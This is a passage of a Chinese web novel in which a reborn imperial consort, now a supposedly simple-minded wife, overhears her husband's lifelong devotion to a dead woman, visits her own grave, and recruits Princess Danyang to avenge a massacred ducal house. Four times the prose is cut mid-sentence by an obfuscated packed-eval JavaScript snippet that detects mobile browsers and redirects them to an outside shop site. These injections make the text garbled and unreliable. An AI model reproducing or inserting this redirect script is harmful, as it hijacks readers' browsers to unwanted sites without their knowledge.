薛灵儿见宋汝璋喝了热汤,额头见汗,少不得取出衣襟内的贴身罗帕,替他抹干,一近身,又觉男子热力逼人,待得服侍完他,自己坐在小圆桌旁,喝下一口秋香盛给他的汤,发觉自己也不知是紧张还是忙乱,也是一身的汗,小衣的后背微微湿透了。 用得几口清油炒制的清爽菜蔬,半碗珍珠酒酿圆子汤,小半碗碧绿的粳米饭,解了腹内之饥,想起今日之事,不觉哑然失笑,感慨世事无常。 宋大人入婚房那晚,约法三章,薛灵儿主仆不许踏入书房半步,如今不过短短的几日功夫,阴差阳错的就踏进来了。 自己刚嫁进门的时候,因宋汝璋是前世宿敌,自己也曾心内不屑,说要她服侍宋汝璋,除非再重生一次,结果,没过几天,服侍人家吃饭敷药。 而且,好像还服侍得心甘情愿。 一边用饭,一边四下里看,发现这书房建筑得颇有门道。里外三层,最外面一层是水榭,与花园相连,待客,读书,赏玩风景,中间一层是卧房,布置简约素净,与宋府整个风格相合,卧房之中又有一道门,关闭的紧紧,那便是书房重地了。 宋大人是监察御史,掌握着所有官员升迁的卷宗,安国公府的事情,是不是在这个书房里就能查到些…… 宋汝璋用完了饭,由流云搀扶着在屋内慢慢踱步,一看薛灵儿大眼睛在四下里看,此刻正盯着那道门,于是起了警觉心,敲敲她面前的桌子:“灵燕,记得我叮嘱你的事吗,不许进那道门,知道吗?” 薛灵儿懊悔自己的神色暴露了心思,赶紧扯开话题:“大人放心,我记得牢牢的。我只是好奇,书房的水榭叫灵犀阁,是有什么讲究吗?还有,我住的屋子叫悲寥轩,这名字这么悲伤,是谁取的?” 本来是随意乱扯,可宋大人的表情好似挨了一棍,薛灵儿看见他素常冷冽的瑞凤眼中,一道刺痛一闪而过,接着整个人踉跄一下,背后伤口又渗出血来。 流云赶紧扶宋大人重新坐下,口里道歉:“大人,是我不好,用力猛了。” 宋汝璋神色转淡,安抚流云:“不妨事。” 薛灵儿也舒了口气,原来是行走用力,扯动了伤口,是自己想多了。 宋汝璋目光转向薛灵儿,淡色瞳仁此刻有点深:“你识字?” 薛灵儿心内发虚,今日自己莫非被吓破了胆,怎么处处是纰漏,然而不得不硬着头皮乱扯:“……我娘是乡下秀才之女,在我小时候脑子坏掉之前,她教过我一些。” 宋汝璋心里升起了一个疑问,秀才之女极少给人做妾的,然而还是点点头:“你想学,改日我教你。” 薛灵儿心内一万个不愿意,前世皇帝想教她诗文,屡屡被她推脱了,然而为了再到这个书房来,脸上做出欢喜之状:“谢谢大人,连我爹都懒得教我呢,大人待我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716183|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太好了。” 宋汝璋看着薛灵儿的大眼闪闪发亮,腮边露出小小梨涡,心中第一次觉得,跟年轻女子打交道,似乎也不是太难太烦心,只要这女子像他小妹子一样天真可喜。 流云简直比薛灵儿还兴奋,据他看来,两位主子照这么熟络下去,离圆房那都不远了,于是跟着助兴凑趣:“外头多少学童,求大人指点也不能,夫人要是跟大人学两天,就是出去考个状元回来,也是来得了。” 秋香也笑了:“流云小哥真会说话。真是有其主必有其仆。” 薛灵儿笑吟吟地看了宋汝璋一眼,心说这宋大人,嘴上功夫能赶上流云的一半,也就好了。 薛灵儿第一次来宋汝璋的书房,其乐融融,吃完了这段饭,虽是清淡时蔬,却吃的比皇宫的燕窝鱼翅还要香甜。 次日,薛灵儿在悲寥轩用过早饭,无所事事,还没到给宋大人换药的时辰,心内升起一个小小的念头,于是带着秋香,来到大厨房,问老夫人平日爱用什么饭食菜肴。 接待薛灵儿的,还是昨日那个厨役,一见长房少夫人亲自来到此处,要带食盒去祠堂侍奉婆母,越发的坚信,此女根本不傻,将来早晚是要掌家主事的,于是越发殷勤伺候着,将谢氏爱吃之物安排了妥妥贴贴的一个食盒。 苏玉茹来到大厨房日常巡看,赶上了薛灵儿主仆一个背影,心内不禁惊疑不定。这傻嫂子看来也根本不傻呀,这时候还知道讨好婆母,且做出孝顺样子来给全府人看,要不然,就是背后有心机陪房指点谋划? 无论怎样,她得想法子了,不能眼睁睁的把掌家少夫人的位子让别人谋了去。 苏玉茹眼望着二人的背影消失在祠堂方向,捏紧了帕子。 宋府的祠堂,在花园的尽头,整个宋府的最深处,三进的宅院,一色的黑漆木制,分外显得庄重,薛灵儿走进去,脚步也是格外放轻了一些。主仆二人轻手轻脚,来到供奉祖宗牌位的厅堂门前。 薛灵儿心内忍不住唏嘘,前世对于皇太后,也并没有这般的心思,自己与这性格刚硬的母子俩,只怕当真是有些莫名的缘分。 定一定神,正准备敲门进去,却听见祠堂内有人说话,仔细一听声音熟悉,是宋汝璋。 就听他说道:“母亲是不是不明白,儿子为何对灵燕,这样另眼相看?” 祠堂宽大高敞,自带一点回声,院内又林木高耸,十分幽静,故此,人在里头说话,虽然声音不高,在虚掩的门口一站,却是听得清清楚楚。 薛灵儿对身后提着食盒的秋香,摆了摆手,然后从虚掩的门口,往里头看去。 事关她自己,需得听一听,她也好奇,在她前世冷心冷情、铁面无私的宋大人,何以对一个痴傻姑娘,如此照拂。 就听谢氏沉默半晌,方才接了儿子的话:“为娘的冷眼看着,这么多年,你从来没对哪个女子,这样悉心照拂,这样放在心上过。” 15. 白月光 薛灵儿在祠堂虚掩的门外,向内观看。 就见谢氏和宋汝璋母子二人,跪坐在祖宗牌位之前的两个蒲团上,宋汝璋正对着薛灵儿,谢氏则是侧脸。 谢氏板着长方面孔:“外头的人都这么传,为娘的也暗自猜想,你与灵燕,莫非真的是天降缘分,你的红鸾星动,应在她身上?” 宋汝璋却脸色一正:“母亲猜错了。儿子对灵燕确实有所关切庇护。但因由,是儿子见她心智不全,恐怕处处受人欺凌,儿子既然迎她进门,自然要护她,否则还有谁能护她周全体面?” 这答案薛灵儿早已知晓。但这济危扶困的君子之风,世间本就少见,在这端严肃静的厅堂内,由他波澜不惊的说出,又别有一股动人心魄之处。 谢氏唇角边露一丝笑意:“你说的固然是,可也并非那样简单。为娘观你的言行,对她是用了情的。若是当真如此,也是好事,这孩子还是有一些灵机的。” 宋汝璋却一摆手:“母亲莫要误会,儿子对灵燕用情,是瞧着她孩童一样的神态,实在有些像我的小妹。本来把她迎进门,也是阴差阳错,儿子也犯愁怎样对待她。小妹七岁早夭,她那模样常在我心头,如今把灵燕当小妹一样疼爱,倒也解了我一些遗憾。” 提到早夭的小女儿,谢氏神色柔和下来,微微垂了头,沉默半晌,又抬起头:“倒还真是有那么三分像。这么一说,你既然对她有心照拂,同她再相处些时日,想必更加熟稔,到时候做一对真正夫妻,岂不是更加便利,两全其美?” 门外的薛灵儿,听得谢氏提到“做真正夫妻”,不知为何,好像头上正午的太阳分外照人,脸上激辣辣的发起热来,掏出衣襟内的帕子抹一把脸颊。 却不想,这帕子昨日给宋汝璋喂饭的时候,在他额头抹过汗,此时带了他身上松竹之气,加上一股形容不出的陌生男子体息,与前世的皇帝,那股典雅檀香气息迥然不同。薛灵儿耳边腾起了一朵红云,鼻尖冒了细汗。 正浑身不自在中,就听屋内的宋汝璋正色言道:“母亲说的万万行不通,儿子不孝,今生今世,不能娶妻,让母亲失望了。” 谢氏收起了本来松弛的神色,沉了脸:“从前我问你,从来不说实话,如今搞出这灵堂娶妻的荒唐事,如今还不肯说实话吗,叫我到了泉下,如何去见你爹?” 谢氏沉下脸来施压,宋汝璋也沉了神色,祠堂内氛围一时有些剑拔弩张之势,薛灵儿在外跟着屏住了呼吸。就听谢氏又把声音柔和下来:“璋儿,你是不是有什么暗疾,若是的话,也可延医问药,没什么好害羞隐瞒的。” “暗疾”一说,正合乎薛灵儿进门之前的猜测,她决定按薛灵燕的身份,高嫁宋汝璋,也恰是料定,二人只会是一对儿名义夫妻。 外头的薛灵儿好奇睁大了眼,浑然忘了羞涩之意,里头的宋汝璋,却把瓷白面孔羞红了半边,没想到母亲说得如此直白,但依旧把坦然的目光直视了谢氏:“不是母亲猜测的那么回事。” 谢氏舒了一口气,只要不是这个原因,其他都好办,继续追问道:“既然不是这个因由,那么又是因为什么?” 薛灵儿在外头十分意外,更加好奇究竟怎么回事,见里头的宋汝璋,棱角分明的薄唇翕动一下,却又合上,似乎是有话说不出口。 谢氏叹息一声,劝道:“璋儿,你为了娶亲一事,与我对抗多年,如今已经娶了灵燕进门,虽不是中意的人选,也已经皇封了诰命,木已成舟,难道我还能强逼你再娶亲不成?我今日追问你,不过是想要个明白罢了。” 宋汝璋脸现羞愧之色,下了好大决心,方才重新开口:“儿子愧对母亲,让母亲操心忧虑了。儿子这么多年不娶妻,实则,是因为心上有个人。” 当年打马游街、风华耀眼的宋状元,为何拒绝了一众世家贵女,甚至包括天潢贵胄的灵越公主,这个答案在薛灵儿前世,就堪称万众瞩目,就连薛贵妃陪痛哭的小姑子怒骂宋状元的时候,也猜测了无数种可能,“暗疾”一事,就是那时候想到的,只是面对闺中之女,终究没好意思说出口。 没想到隔了足足两世的死生契阔,答案居然在今日揭了晓,薛贵妃是阴差阳错成了宋状元的名义妻子,在祠堂外,偷听人家母子谈话得到的。 这样扑朔迷离、历久弥新的谜题,一旦揭晓,答案竟然是如此轻飘,轻飘得简直令薛灵儿感到了失望。 谢氏的感受显然跟薛灵儿差不多,语气透着掩藏不住的释然,显然是觉得,儿子太过于小题大做了一点。 “这有什么的,所谓知好色而慕少艾,世人都是这么过来的,谁年轻的时候没有过倾慕之人,只是那与后来的事并不相干,还不都是各自的娶妻嫁人,哪有抱着那点子心思不放的。” 宋汝璋沉默片刻:“母亲说的世人,为人豁达变通,随分从时,儿子很是羡慕,可是儿子天生性情如此,只要认准了一个人,一件事,一条路,便要走到底。” 谢氏也知道儿子天生性情如此,只是,这股子执拗劲儿,用在读书科考上,是大大的好事,十年寒窗,耐得住寂寞,用在婚姻之事上,如何得了,还怎么传宗接代? 当下耐着性子劝道:“有句诗讲的好,记得绿萝裙,处处怜芳草,既然对女子用过情,也该知道饮食男女,人之大伦。况且夫妇之道,在于合度,相敬如宾即可,过于用情反而不好,有道是过刚则折,情深不寿,就以你现下对待灵燕的这份心思,对待妻子,任凭哪个女子也该知足了。” 薛灵儿垂头思忖一下,以宋汝璋庇护自己的那个轴劲儿,做他的妻子当真是不坏,等于背靠了个大树,家里家外,遮风挡雨。 谁知宋汝璋对此有相当不同的见解:“母亲此言差矣,想那夫妇之道何等亲密,既然结为一体,也该同心同德。儿子对心上那位……那位女子,何等的刻骨铭心,无时或忘,对待自己妻子,也该是这样一份情义,否则岂不是辜负了人家入门掌家理事,生儿育女?” 这番话其实属于离经叛道之言,偏偏谢氏思前想后,反驳不得。 当年宋汝璋的父亲是寒门学子,谢氏是侯府千金,之所以甘心下嫁,除了相貌才学,便也是看中他情痴一片, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721395|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故此虽然他早早离世,谢氏如男子一般刚强挑起大梁,教养幼子,也是靠他生前情义支撑。 薛灵儿在外偷听,隐约想起了敬茶那天,宋汝璋也是这番言论侃侃而谈,当时以为他只是空谈高论,谁想到他竟然来真的。不光不纳妾侍通房,便是心中有人,也不另娶,这可…… 薛灵儿忍不住想起前世夫君、皇帝沈清远,虽说身为皇帝,有其身不由己,然而遇上嫔妃争宠,拿异常貌美的宫女讨好他,也笑纳之…… 屋内谢氏,怔了半晌,苦笑一声:“也不知这位姑娘,是哪家的女儿,现在何处,值得你这样念念不忘。” 薛灵儿被宋汝璋一番话勾起心事,思绪在前世漂浮,又被谢氏这句话拉了回来,她也实在太好奇,什么样的一个女子,值得宋汝璋这样风华耀眼、前程大好的男子,甘愿放弃繁华锦绣,独守孤灯? 宋汝璋听了这话,脸容转肃,此时正午的阳光透过祠堂的天窗,由顶上洒落在在他脸上,他本就生的天庭饱满,骨相端严,棱角分明,身后供桌上,有袅袅青烟静静上升。 薛灵儿微微屏住了气息,这时候的宋汝璋,有点像她小时候随父亲去神庙里参拜过的菩萨像。 宋汝璋停了半晌,方开口说道:“她……她先是嫁了人,后来……离世了。” 谢氏听得儿子声音干涩,显然是压抑着极大的遗憾和痛楚,也叹息道:“原来是个命苦的孩子。” 母子相对无言半晌,谢氏露一丝笑意:“因你的心志如此,故此这些年,推却了公主和所有世家的提亲,最后我出面定下了薛家女,而你听说灵燕落水而死,才决定去迎她的灵牌过门。” 宋汝璋点点头:“母亲猜的一点不错。这也是天缘凑巧,她心智不全,故此儿子更要善待她。” 谢氏终于心中再无芥蒂:“也好。灵燕既然投了你的缘法,我也当把她当作自己的儿女,好好教养,我观她还有些灵机,若是能开窍,将来能独当一面,掌家主事,我便也能合得上眼。” 宋汝璋见自己终于获得母亲的谅解,黑沉深邃的眼中罕见的闪动着光亮:“有母亲教导她,她一定能成人立事。儿子不日也打算教她识字读书。” 薛灵儿在外偷听到此处,心口涌出一股热流,眼眶也酸涩半湿,这母子俩虽性格刚硬不讨喜,待人良心却是太好。激动之下便敲响了门,带着秋香走了进去。 谢氏刚与儿子解开心结,见痴傻媳妇居然知道来给婆母送饭,脸上带一个欢畅的笑意:“灵燕来得正好,刚和璋儿商量过,今后让你学着做些事,要不,先从照料他的饮食起居开始学吧。” 薛灵儿笑的也欢畅,开开心心应下:“灵燕一定好好学,把大人照顾好。” 眼见宋汝璋母子信任的眼神,薛灵儿自己心里却打了鼓。 什么叫做服侍夫君的饮食起居呢,前世她可没做过半点。皇帝有成堆的人专门服侍,再说,论夫妇之道,有郑皇后呢,也轮不上她。 怎么办呢,不然等回去以后,请教一下陪房的宋妈妈,她是如何服侍她的男人宋管家的。 16. 祭坟 清晨有风,旭日刚刚升起,空气中流淌着奶白色的薄雾。 薛灵儿驾着马车,来到荒郊野外一座小小的墓园。 这里常年冷落无人,墓园的看守老头见一大清早就有人来拜祭,还是一个年轻貌美的小媳妇带着一个丫鬟,有些吃惊,揉着眼睛打开墓园的门:“拜祭何人?” 薛灵儿眼中泛出一点泪意:“拜祭薛氏……薛灵儿。” 老头接过秋香递过来的银果子,退回自己的小屋去睡回笼觉。 主仆二人走进墓园,秋香跟在后面,手中提篮摆放着香烛纸马一应祭拜之物。 她越来越看不懂三小姐了,看不懂今天来祭拜的这个大福大贵之人,与她们有何干系。事实上,自从嫁到宋家,三小姐就没对劲过,秋香忍不住怀疑,她从棺材里出来,就已经被什么别的人附了体,要是早有这么大本事,何至于在娘家日日受欺凌。 望着三小姐行走的背影,纤腰挺拔,秀颈端庄,虽然是荒郊野外,步伐一丝不乱,越看越不像一个无人过问的痴傻姑娘,十足像个大家闺秀,忽然想起成亲那晚,三小姐发落了春香之后,对自己说的话,说是跟着她,有肉吃。 也许是真的呢。 墓园之中,自有积年的高大白杨树,野生野长,高耸入云,此刻被荒郊的劲风一吹,叶片飒飒作响,倍增了荒凉冷落的悲意。 两边白杨树夹着一条长满野草的小径,小径两边都是孤坟,坟茔与坟茔之间相隔甚远,沿着这条小径往前走,走到尽头,终于看见一个墓碑,上边石刻一行大字:贵妃薛灵儿之墓。 太阳升起的高了些,淡淡的照在石头墓碑上,坟茔形状浑圆,像一个馒头,坟前大片的青草郁郁葱葱,中间夹杂着零星的白色野花向阳而开,这个地方风水不错,草木异常的茂盛。 罪臣之女,不入皇陵,是本朝开国皇帝立下的规矩,但出嫁之女,也不能回娘家安葬,于是有了这么一个小小的陵园,专门收留这些漂泊无依的灵魂,实打实的孤魂野鬼。 薛灵儿在梧桐宫风光无限做贵妃的时候,便听说有这么一个地方。 只是万万没想到,有朝一日,会孤零零站在这里,看着自己坟前的这一片青草。 感喟了半晌过后,刚要转头吩咐秋香,把香烛纸马摆下,却见小径的另一头,有一行人向这个方向走来。 薛灵儿对秋香示意,主仆二人带着提盒,藏到了远一点的白杨树后面,留心看着,来的是什么人。 不一会儿功夫,来人走到了薛灵儿的坟墓前,当先为首的,是一个年轻女子,身后跟着十数个男女仆从,一律宫装打扮,这来拜祭薛灵儿的,是实打实的贵人。 薛灵儿躲在白杨树后,看着这为首的年轻女子,心内无限的唏嘘。 俏丽的鹅蛋脸,眉眼俊秀,顾盼神飞,一身素白色短打劲装,是女子中少见的飒爽,头上的九凤含珠大凤钗,在晨曦下闪着光,是她最爱的一件首饰。 丹阳县主,皇叔靖亲王之女,靖亲王是老一代皇子之中,唯一习武打仗之人,成人之后不顾老皇的反对,去了西南沿海镇守海防,丹阳县主跟着父亲,耳濡目染学了豪爽习气,嫁了驸马之后,依旧难改。 薛灵儿入宫为妃之后,得了皇宠又爱热闹,在梧桐宫时常宴饮作乐,诸位皇叔亲王家的闺女媳妇们,都是皇族之女,自然是当仁不让的座上客。 只是那时候,时人都奉承着薛贵妃,唯独这个丹阳县主,说话直爽,口角锋利伤人,与薛灵儿经常针锋相对,分毫不让,二人叫起劲来,也比拼过酒量,比拼过投壶,薛灵儿总是输她一筹,生前每每想起此人,难免一肚子气。 却没想到,死后三年,唯一来祭拜的,却是她。 是的,今日是薛灵儿的忌日,三年前,如日中天的薛贵妃,在生辰之日,百花宴上,流水一样抬进来的皇宠好物面前,被毒杀。 三年后,面对坟前的青草,看着生前的冤家对头丹阳县主脸容端肃,奴仆们摆上香烛纸马,认认真真,行礼祭拜,祭礼完成之后,又盘桓半晌,方带着一众奴仆,从容离去。 一时热闹的陵墓前,重新又恢复了寂静冷清,只有一只飞鸟,默默无声,从林中飞起,飞上了高空。 薛灵儿眼中盈满了泪,这次终于放任它们落了下来。 她转头吩咐秋香:“把祭品摆在坟前,我们回去,有别的事要做。” ———————— 谢氏坐在正厅的堂前,饮一口茶,心中满是不快。 眼看太阳升得老高,好容易贴身大丫鬟来回禀:“老夫人,少夫人回来了。” 谢氏心中升起一丝希望,勉强把不快压了下去:“请她来见我。” 谁知半晌过后,大丫鬟又来回禀:“老夫人,少夫人说,有急事要出门,等她回来,再来聆听老夫人教诲。” 谢氏再也忍不住,一怒之下,茶杯重重的顿在桌上。 苏玉茹早在门口留心看了一刻,此时正是时机,于是款款走进来,亲手用帕子抹干桌上的茶水,又站到谢氏身后,为谢氏捏着颈骨和肩膀,二人动作默契,是熟惯了的姿势。 待半晌过后,谢氏全身筋骨彻底放松下来,长长的吁出一口气,苏玉茹手上不停,柔声细语,开口劝道:“据我说,母亲不必为嫂子的事十分动气。没进门的时候,都传她痴傻,进了门咱们这么一看,也不十分痴傻,倒是路数……很有些怪,让人一时摸不清。” 一番话,说中了谢氏的心事,忍不住打开话匣子诉苦:“我也是看她有些灵机,打算好好教教她,谁知道昨天说要出门,今天一大清早,又跑出去,问去哪里也说不清楚,只说出去集市逛逛,竟是把我们宋家,把我这个婆母,根本没放在眼里。” 苏玉茹眼神闪动一下:“既然敢这样不尊婆母,就该硬拦下她,论家规责罚。” 这话结结实实,戳到了谢氏的痛处,眉心跳了两下,拿手指按压着,平定心神:“别提了,还不是因为汝璋,因她心智不全,一味的护着她,不到万不得已,我也不想为了这么个人,再伤了我母子情分。” 苏玉茹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724652|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跟着沉默半晌,长长叹了口气,才又起话题劝说婆母:“母亲,这事也是小瞧不得。男子汉的心思,最是难测,这个嫂子,我们瞧着她不听话,靠不住,可是,说不准哪一天,就投了大伯哥哥的缘法,到时候,可就更难办了。” 谢氏也正忧虑这个,沉下了声音:“你有什么主意?” 苏玉茹笑了一声:“母亲是经过大风大浪的人,为人处事何等的英明,现下不过是要考考我们小辈的见识罢了,依我说,咱们寻一个知根知底的可靠人儿入府,寻个机会放在长房。贵妾主事,天经地义,就不怕这位薛氏嫂子,在长房翻出天去了。” 谢氏早知道她是这个打算,也笑了一笑:“哦?这么说,你早有人选了?” 苏玉茹这时转过身来,亲手斟上一杯热茶,递给谢氏,方在谢氏对面的檀木椅上斜着坐了,一番忙活之下,她也手酸腿酸,然而依旧趁热打铁,直视了谢氏审视的眼神。 “媳妇母家有个堂妹,正好长成,虽是庶出,然而自幼教养得最是老成懂事的。按媳妇的主意,暂且先把她接过来住着,只说是亲戚走动,见机行事,无论事情成与不成,都不伤体面。” 谢氏静静听着,喝了一口热茶,半晌,嗯了一声。 ———————— 丹阳县主坐在县主府正堂的高座上,眼神审视着下首跪拜的年轻少妇,心中狐疑不定。 二品官员宋汝璋之妻,薛氏,时间接近正午之时,递上名帖,求见丹阳县主一面。 丹阳县主一早从郊外回来,有点疲乏,本来不想见任何人的。宋汝璋虽然是朝堂新贵,皇帝宠臣,然而在皇族贵胄面前,哪里有什么分量,何况听说新娶的妻子,五品小官家的庶女不说,还是个痴傻之人,早已沦为全京城的笑话奇谈。 故此当递上名帖,丹阳县主扫一眼,便随手一抛:“不见。” 仆从弯下腰,捡起地上的名帖,一张薄薄的信纸,飘飘然的,从中飘落。 当信纸递到县主手里,她瞟了一眼,瞬间改变了主意:“见。” 此刻县主手拿着那张薄薄的信纸,反复审视,仍旧是难以置信。 那人已经死了三年,今早她刚去过她的坟墓,看过坟上的青草,可是又确确实实,是她的亲笔字迹。 在她生前,二人总是争胜负,输了的一方继续发起挑战,赢了的一方嘲笑对方,书信字条往来,不亦乐乎,引以为乐,对于她的字迹,她很熟悉。 又看了几遍,才放下信纸,对眼前的少妇说:“免礼,赐座。” 少妇不慌不忙,站起身,从容来到下首,行礼落座。 丹阳县主开口问话,仍是觉得像一个荒唐的梦:“你说你是……” 少妇眼神直视了她,眼中闪动着一点光亮,似泪非泪,衬托得两颗乌溜溜的杏子眼,像西域进贡的猫眼石。 一点都不像个痴傻之人。 少妇一开口更是语出惊人:“民妇薛灵燕,受贵妃薛灵儿所托,来求丹阳县主,她说,县主是唯一能帮上她的人。” 17. 托梦 丹阳县主携着薛灵燕,二人坐上了马车。 县主府内外的仆从们,都暗暗的纳罕和吃惊,只不敢议论。 论理,薛灵燕一个民妇,就算夫君是新贵,妻凭夫贵能跟县主结交上,也断然没资格跟县主乘坐一辆马车,没有这种规矩。 但丹阳县主顾不得了。 二人上车坐定,马车刚刚跑动起来,县主就转过头,逼视着薛灵儿:“你说的可是真的,薛贵妃托梦给你?” 薛灵儿毫不畏惧,与县主的眼神正面相撞:“是真的,一开始,我只是模模糊糊的梦到她,好像一个影子,看都看不清,后来就变了,今早醒来之后,我发现我能替她写信了。” 县主端详着她的脸庞,圆圆的苹果脸,腮边带润泽光亮,一副稚气未脱的样子,忍不住问道:“听人说,你有些痴傻?” 薛灵儿露出个孩童似的欢畅笑意:“听人说,我七岁那年发高热,烧坏了脑子,都说我傻气,可是自从薛贵妃给我托梦开始,我觉得我不傻了,越来越能听懂人说话了,也开始琢磨人的话背后都是什么心思了。” 薛灵儿前面扯了一句谎,说是贵妃托梦,后面得这么一连串的谎话来圆,倒也圆的毫无破绽,实在有些佩服自己随机应变撒谎的本事,以后万一宋大人问起来,婆母谢氏问起来,她也照这么说,不用先编了。 县主向来有几分怜弱之心,不知道一时之间她转了这么多的心思,只是一听她说的还是傻气的话,笑容也带几分傻气,忍不住摸了摸她的头发:“既然是薛灵儿托了你,我自然也会帮你,护着你。” 薛灵儿笑嘻嘻拍了两下手掌:“县主娘娘你真好。我的命可真好,先有宋大人护着我,现在县主娘娘也答应护着我了。” 县主听了有些意外,宋大人,那个整天不苟言笑板着个脸的道学君子,居然对一个痴傻的妻子还不错,但无论如何,还得多叮嘱一下:“待会儿我带你去的,是锦衣卫指挥使周从深的府上,我们先结交他夫人女儿,假作寻常宴饮,今日我也是首次登门,你要记住,先不要提别的事,千万不要提安国公府一个字。” 薛灵儿假作天真,点头应下:“县主娘娘放心,本来我也不知道什么安国公府,要说也说不出来什么。” 二人谈谈讲讲之间,县主的马车停下,县主和薛灵儿,一前一后跳下马车。 薛灵儿眼前,是京城最寸土寸金的地段,一座府第,庄重中透着富贵之气,一看便是新修不久。 一想到是周从深这个人,三年前带着一队人马,带着屠刀,堵门屠杀了安国公府满门,换来的眼前这府邸,薛灵儿心内的仇恨之火燃遍全身,恨不得把眼前一切,烧个干净。 然而,当走近周府的大门,看到周夫人带着女儿周宜娘,远远的抛下满堂宾客,朝着县主和薛灵儿迎上来,那一脸不可置信的惊喜之色,和巴结的姿态,她按下了全身的怒火。 有县主做引子,才有绝佳的机会走进这府里,结交这家人,这是为安国公府伸冤复仇的第一个关口。 今日也真是凑巧,又或许,一切在冥冥之中,自有定数。 时近正午的时候,跟县主说完了贵妃托梦,并且以一封信让她相信,薛贵妃的灵魂在阴曹地府,也需要为安国公府伸冤。接着,在县主府受到了款待,县主说,下午恰巧有个绝佳的机会,伸冤之事,从今日就可以开始。 下午时分,县主带着薛灵儿,从周从深富丽堂皇的府第走出来。 周夫人携着女儿周宜娘,又抛开了满堂宾客,远远的把二人送到大门口。周夫人口内绵绵不绝,说着亲亲热热的客气话,边目光殷殷,觑着县主的脸色。 今日是女儿及笄之礼,下面就该议亲了,周府在十天前,就开始准备宴席,送请帖,而今日之喜庆热闹,也是不负期望,京城各大官宦世家,十之有八,都有家眷到场祝贺送礼。毕竟,锦衣卫指挥使是何等的高位,在官员面前固然是举足轻重,在皇帝面前,那也是一言可杀,一言可活。 可是,丹阳县主,那可是她们连帖子都不敢送一张的人。 到场宾客并非没有皇亲贵胄,但丹阳县主,因父亲有军功,自小受优待,脾气过于的骄傲怪异,在皇亲里属于眼高于顶,极难结交之人。从不趋炎附势,她看不上的人,巴结也巴结不上,一旦入了她的眼,遇上事可是不遗余力的帮,就连皇帝皇后,也要给她三分面子。 故此,当周夫人看见丹阳县主踏进门来,脸上带一个明朗的笑说道:“听闻周指挥使家的夫人最善于整治花卉,今秋有异种蟹爪菊开放,带有五彩,本县主也来凑个热闹。” 周夫人的心花,当时就开放了,简直比那蟹爪菊,开放得还要艳丽。 虽然接着一眼,看到县主身畔,亲亲密密跟着的手帕交,竟然是宋汝璋宋大人新娶的那个痴傻新妇,全京城的笑柄,未免有些令人败兴,但也顾不得那么多了。 转眼宾主一行,来到了县主的马车前面。周夫人看着二人又登了同一辆车,如同最亲密的手帕交一样,于是对着薛灵儿,也是笑眯眯叮嘱下次再来。 马车跑动时,周夫人殷切挥动手里的帕子,回味着刚刚发生的一切。 经过短短的一个时辰相处,她发觉这位宋夫人薛氏,根本不像传说中那么痴傻无状,乱走乱撞,反而还相当有眼色,为数不多的几次接话,也算得体,故此邀请她再来,也是带了十足的诚意。 真是,传言根本不能信。 县主的马车帘子放下来的时候,街上一乘官轿,轿帘晃动了一下,宋汝璋一瞥之间,看到对面马车上薛灵燕的脸。这几日他办差,因背部有伤骑不得马,改乘了官轿,没想到撞上了她。 起初他没有在意,薛灵儿给他背部敷药的时候,跟他说过在家闷得慌,要到街市上逛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729466|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逛。可是那马车上,好像有皇族标记…… 宋汝璋重新掀开轿帘,目光追上了马车的背影,匆匆一瞥之间,他看得没错,是丹阳县主的马车。 这就有些离奇了。 除此之外,宋汝璋心里好像还有另一根刺,有些硌得慌,他托着头费力地回想,终于想起来了。 那天在灵犀阁用饭之前,薛灵燕问他几间房子的名字来历,过于流利了。 会是怎么一回事呢…… —————— 薛灵儿自重生以来,嫁人、敬茶、回门、封诰命,一连串的事情,忙个不停,今日为安国公府申冤的事,终于走进了第一个关口,踏着夕阳的金辉走入宋府,心里一松,脚步格外轻快。 本想去正院跟婆母问个安,转头回房休息,却不想刚一进正院大门,迎头碰到了宋大人,她一弯身行了个礼,唤了一声大人,正打算从他身边蹭过去,却被叫住:“站住,有话问你。” 薛灵儿一头雾水,跟他来到院墙旁边的大树下,就听宋汝璋问道:“你说去集市逛逛,怎么会在丹阳县主的马车里?” 